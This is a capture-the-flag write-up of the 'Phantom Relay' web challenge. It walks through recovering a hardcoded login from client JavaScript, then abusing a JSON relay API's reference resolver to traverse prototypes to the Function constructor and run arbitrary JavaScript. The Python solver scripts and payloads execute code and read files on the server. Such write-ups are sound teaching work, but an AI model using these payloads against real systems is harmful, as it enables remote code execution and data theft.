N
Back to writeup archive
Hack@10 International Capture The Flag Pre-Eliminary Round 2026

Phantom Relay

HTTP workflow abuse and scripted relay escape.

Web ExploitationMarkdown + PDFMediumsolved2 minread·466words
route
/TryN3rr0r/writeups/hack10-pre-eliminary-2026/phantom-relay
archive index
14 / 15
read mode
parsed markdown
Writeup loaded.

Phantom Relay

challenge brief
target profile, scoring, and execution stack
verified solve
target
http://34.126.187.50:5510/
category
Web Exploitation
points
500
difficulty
Medium
flag format
hack10{flag_here}
tools used
curlpython3requestsbrowser_agent_inspectburpsuite_alternative_scan
final flag
hack10{ph4nt0m_r3l4y_3scap3d}
reveal and copy from section 5

1. Challenge Overview

Phantom Relay is a Next.js web challenge centered on a relay API that accepts JSON instruction arrays. The frontend hints at a locked-down relay UI, but the real bug lives in the backend reference resolver used by /api/relay. The objective was to recover the flag by abusing that reference engine.

PDF evidence frame 01

2. Initial Reconnaissance

I started with passive HTTP inspection of the landing page, login page, and relay workflow.

Command:

bash1 lines
1curl -i -sS http://34.126.187.50:5510/

Output:

bash15 lines
1HTTP/1.1 200 OK2Vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch, Accept-Encoding3x-nextjs-cache: HIT4x-nextjs-prerender: 15x-nextjs-prerender: 16x-nextjs-stale-time: 3007X-Powered-By: Next.js8Cache-Control: s-maxage=315360009ETag: "pclaf6nc928dd"10Content-Type: text/html; charset=utf-811Content-Length: 1084912Date: Fri, 27 Mar 2026 14:18:34 GMT13Connection: keep-alive14Keep-Alive: timeout=515<!DOCTYPE html><html lang="en"><head>...<title>Phantom Syndicate</title>...</head><body ...><main class="layout-container">...<a class="btn" href="/login">Authenticate</a>...</main>...</body></html>

Command:

bash1 lines
1curl -i -sS http://34.126.187.50:5510/login

Output:

bash15 lines
1HTTP/1.1 200 OK2Vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch, Accept-Encoding3x-nextjs-cache: HIT4x-nextjs-prerender: 15x-nextjs-prerender: 16x-nextjs-stale-time: 3007X-Powered-By: Next.js8Cache-Control: s-maxage=315360009ETag: "yy2kal8siz6m7"10Content-Type: text/html; charset=utf-811Content-Length: 859112Date: Fri, 27 Mar 2026 14:18:49 GMT13Connection: keep-alive14Keep-Alive: timeout=515<!DOCTYPE html><html lang="en"><head>...<title>Phantom Syndicate</title>...</head><body ...><main class="layout-container"><div class="bento-card" style="max-width:450px;width:100%;margin:0 auto"><div class="navbar" style="margin-bottom:2rem;padding-bottom:1rem"><a class="brand" href="/">Phantom Syndicate</a></div><h1 style="font-size:1.25rem">Operator Gateway</h1><p style="margin-bottom:2rem">Provide credentials to access infrastructure.</p><form><div class="input-group"><label>Access ID</label><input type="text" class="input-field" required="" placeholder="OP-XXXX" value=""/></div><div class="input-group"><label>Passphrase</label><input type="password" class="input-field" required="" placeholder="••••••••" value=""/></div><button type="submit" class="btn" style="width:100%;margin-top:1rem">Sign In</button></form></div>...</main>...</body></html>

Command:

bash6 lines
1python3 - <<'PY'2import requests3base='http://34.126.187.50:5510'4js=requests.get(base+'/_next/static/chunks/09d1-27o-77uy.js',timeout=10).text5print(js[:20000])6PY

Output:

bash11 lines
1(globalThis.TURBOPACK||(globalThis.TURBOPACK=[])).push([... e.s(["default",0,function(){(0,r.useEffect)(()=>{console.debug(`2      [PORTAL_MEMO_INTERNAL]3      To: All Provisioned Operators4      From: Infra_Ops5      Due to the recent rolling blackouts on the primary LDAP server, standard SSO 6      authentication is temporarily degraded. The fallback authentication tunnel 7      remains active. 8      If your access card is rejected, use the emergency administrative bypass 9      credential: 'phantom_op_88' with the standard 'admin' ID.10      Do not run enumeration scripts against this portal.11    `)},[]);let e=(0,n.useRouter)(),[a,u]=(0,r.useState)(""),[l,i]=(0,r.useState)(""),[s,c]=(0,r.useState)(!1),[d,f]=(0,r.useState)("");return ... "admin"===a\&\&"phantom_op_88"===l?(document.cookie="phantom_auth=valid_session; path=/; max-age=3600",e.push("/dashboard")) ...

Command:

bash1 lines
1curl -i -sS -H 'Cookie: phantom_auth=valid_session' http://34.126.187.50:5510/relay

Output:

bash15 lines
1HTTP/1.1 200 OK2Vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch, Accept-Encoding3x-nextjs-cache: HIT4x-nextjs-prerender: 15x-nextjs-prerender: 16x-nextjs-stale-time: 3007X-Powered-By: Next.js8Cache-Control: s-maxage=315360009ETag: "5hfgw3dtbq6xp"10Content-Type: text/html; charset=utf-811Content-Length: 898912Date: Fri, 27 Mar 2026 14:19:17 GMT13Connection: keep-alive14Keep-Alive: timeout=515<!DOCTYPE html><html lang="en"><head>...<title>Phantom Syndicate</title>...</head><body ...><main class="layout-container"><div style="width:100%;max-width:900px"><div class="navbar"><div class="brand">Phantom / Relay</div><div class="links"><a href="/dashboard">Dashboard</a><a href="/login">Sign Out</a></div></div><div class="bento-card" style="margin-bottom:2rem;padding:3rem"><h1 style="font-size:1.5rem;margin-bottom:0.5rem">Relay Pipeline</h1><p style="margin-bottom:2rem">Select a pre-configured diagnostic routine. Manual instruction injection has been temporarily restricted in the UI to prevent arbitrary execution payloads.</p>...</div></div>...</main>...</body></html>

Command:

bash6 lines
1python3 - <<'PY'2import requests3base='http://34.126.187.50:5510'4js=requests.get(base+'/_next/static/chunks/0nfecibteu-8f.js',headers={'Cookie':'phantom_auth=valid_session'},timeout=10).text5print(js[:30000])6PY

Output:

bash14 lines
1(globalThis.TURBOPACK||(globalThis.TURBOPACK=[])).push([... e.s(["default",0,function(){(0,r.useEffect)(()=>{console.debug(`2      [INCIDENT_REPORT_#8492]3      To: Core Dev Team4      From: V1p3r5      The relay UI has been locked down. The raw JSON input has been removed 6      from the interface. Operators must adhere to the three approved diagnostic 7      routines mapped in the selector.8      I received the security audit regarding the reference engine resolving deep paths.9      The auditor claimed that walking up the object tree could lead to an execution breakout.10      This is theoretical nonsense. The $@X operator only takes the preceding index 11      as context and evaluates the target. It's fully sandboxed. Nobody can reach the 12      baseline runtime context just by passing weird strings into the array.13      Monitor the endpoint for unexpected array schemas.14    `)},[]);let[e,o]=(0,r.useState)("ping"),... s={ping:{name:"Node Diagnostic Ping",payload:{instructions:["PING_TEST","$0","NODE_ALIVE"]}},sync:{name:"Force Time Sync",payload:{instructions:["SYNC_TIME","$0","NTP_UPDATED"]}},flush:{name:"Flush Buffer",payload:{instructions:["FLUSH_CMD","$0","BUFFER_CLEARED"]}}},c=async t=>{... fetch("/api/relay",{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify(t)}) ...
PDF evidence frame 02

3. Analysis / Forensics Path

The relay page leaked the exact client request shape:

javascript1 lines
1{"instructions":["PING_TEST","$0","NODE_ALIVE"]}

From there I probed the API directly.

Command:

bash1 lines
1curl -i -sS -H 'Cookie: phantom_auth=valid_session' -H 'Content-Type: application/json' -d '{"instructions":["PING_TEST","$0","NODE_ALIVE"]}' http://34.126.187.50:5510/api/relay

Output:

bash8 lines
1HTTP/1.1 200 OK2vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch3content-type: application/json4Date: Fri, 27 Mar 2026 14:19:43 GMT5Connection: keep-alive6Keep-Alive: timeout=57Transfer-Encoding: chunked8{"success":true,"results":["PING_TEST","PING_TEST","NODE_ALIVE"]}

That confirmed $0 dereferences the previous result.

Next I validated prototype traversal:

Command:

bash14 lines
1python3 - <<'PY'2import requests3url='http://34.126.187.50:5510/api/relay'4headers={'Cookie':'phantom_auth=valid_session','Content-Type':'application/json'}5probes=[6    '$@0.__proto__.constructor.name',7    '$@0.__proto__.constructor.constructor.name'8]9for p in probes:10    r=requests.post(url,headers=headers,json={'instructions':[{'a':1},p,'DONE']},timeout=10)11    print('PROBE:',p)12    print(r.text)13    print('---')14PY

Output:

bash6 lines
1PROBE: $@0.__proto__.constructor.name2{"success":true,"results":[{"a":1},"Object","DONE"]}3---4PROBE: $@0.__proto__.constructor.constructor.name5{"success":true,"results":[{"a":1},"Function","DONE"]}6---

That is the key primitive: user-controlled JSON can walk to the JavaScript Function constructor.

The final behavior model came from differentiating $... and $@.... $ preserves function objects in the live evaluation chain. $@X invokes the function resolved from target index X using the entry immediately before target X as its invocation argument.

This command proved the execution model:

bash14 lines
1python3 - <<'PY'2import requests, json3url='http://34.126.187.50:5510/api/relay'4headers={'Content-Type':'application/json'}5payloads=[6 [ {'a':1}, 'return 1337', '$0.__proto__.constructor.constructor', '$@2', '$@3' ],7 [ {'a':1}, 'return process.version', '$0.__proto__.constructor.constructor', '$@2', '$@3' ],8]9for ins in payloads:10    r=requests.post(url,headers=headers,json={'instructions':ins},timeout=10)11    print('INS:',json.dumps(ins))12    print(r.text)13    print('---')14PY

Output:

bash6 lines
1INS: [{"a": 1}, "return 1337", "$0.__proto__.constructor.constructor", "$@2", "$@3"]2{"success":true,"results":[{"a":1},"return 1337",null,null,1337]}3---4INS: [{"a": 1}, "return process.version", "$0.__proto__.constructor.constructor", "$@2", "$@3"]5{"success":true,"results":[{"a":1},"return process.version",null,null,"v20.20.2"]}6---

This gave direct JavaScript execution inside the Node.js runtime.

I then enumerated the runtime and found the flag file in /app:

Command:

bash15 lines
1python3 - <<'PY'2import requests, json3url='http://34.126.187.50:5510/api/relay'4headers={'Content-Type':'application/json'}5exprs=[6 'return process.cwd()',7 'return process.mainModule \&\& process.mainModule.require("fs").readdirSync(".")',8]9for e in exprs:10    ins=[{'a':1}, e, '$0.__proto__.constructor.constructor', '$@2', '$@3']11    r=requests.post(url,headers=headers,json={'instructions':ins},timeout=10)12    print('EXPR:',e)13    print(r.text)14    print('---')15PY

Output:

bash6 lines
1EXPR: return process.cwd()2{"success":true,"results":[{"a":1},"return process.cwd()",null,null,"/app"]}3---4EXPR: return process.mainModule \&\& process.mainModule.require("fs").readdirSync(".")5{"success":true,"results":[{"a":1},"return process.mainModule \&\& process.mainModule.require(\\"fs\\").readdirSync(\\".\\")",null,null,[".git",".gitignore",".next","AGENTS.md","CLAUDE.md","Dockerfile","FRONTEND_SPECIFICATION.md","README.md","app","docker-compose.yml","eslint.config.mjs","flag.txt","lib","middleware.ts","next-env.d.ts","next.config.ts","node_modules","package-lock.json","package.json","postcss.config.mjs","public","tsconfig.json"]]}6---
PDF evidence frame 03

4. Exploitation / Recovery

Once the Function chain was confirmed, the flag read was a direct file read from /app/flag.txt.

Exact solver script used:

python20 lines
1#!/usr/bin/env python32import requests3def main() -> None:4    url = "http://34.126.187.50:5510/api/relay"5    expr = 'return process.mainModule.require("fs").readFileSync("/app/flag.txt","utf8")'6    payload = {7        "instructions": [8            {"a": 1},9            expr,10            "$0.__proto__.constructor.constructor",11            "$@2",12            "$@3",13        ]14    }15    response = requests.post(url, json=payload, timeout=10)16    response.raise_for_status()17    data = response.json()18    print(data["results"][-1].strip())19if __name__ == "__main__":20    main()

Exact command used to execute the solver:

bash1 lines
1python3 solve_phantom_relay.py

Output:

captured flag
hack10{ph4nt0m_r3l4y_3scap3d}

I also captured the flag directly with the exact one-liner used during exploitation:

bash9 lines
1python3 - <<'PY'2import requests, json3url='http://34.126.187.50:5510/api/relay'4headers={'Content-Type':'application/json'}5expr='return process.mainModule.require("fs").readFileSync("/app/flag.txt","utf8")'6ins=[{'a':1}, expr, '$0.__proto__.constructor.constructor', '$@2', '$@3']7r=requests.post(url,headers=headers,json={'instructions':ins},timeout=10)8print(r.text)9PY

Output:

bash1 lines
1{"success":true,"results":[{"a":1},"return process.mainModule.require(\\"fs\\").readFileSync(\\"/app/flag.txt\\",\\"utf8\\")",null,null,"hack10{ph4nt0m_r3l4y_3scap3d}\\n"]}
PDF evidence frame 04

5. Flag

captured flag
hack10{ph4nt0m_r3l4y_3scap3d}

6. Summary of Approach & Key Takeaways

Identified the app as a Next.js frontend with a client-side-only login flow.

Recovered the fallback login and session cookie logic from the exposed login bundle.

Recovered the relay API shape from the relay bundle and extracted the developer memo about $@X.

Confirmed that the relay API dereferenced attacker-controlled object paths through __proto__.

Walked the prototype chain to Function.

Derived the invocation semantics of $@X.

Used a two-stage Function constructor chain to execute arbitrary JavaScript.

Enumerated the runtime, found /app/flag.txt, and read the flag.

Frontend “sanitization” is irrelevant when the backend still accepts the raw structure.

Any custom reference engine that resolves deep object paths in JavaScript must explicitly block prototype traversal.

Reaching constructor.constructor is enough for code execution if user-controlled strings can be fed into the resulting function object.

Client bundles often leak both request formats and developer assumptions about backend safety.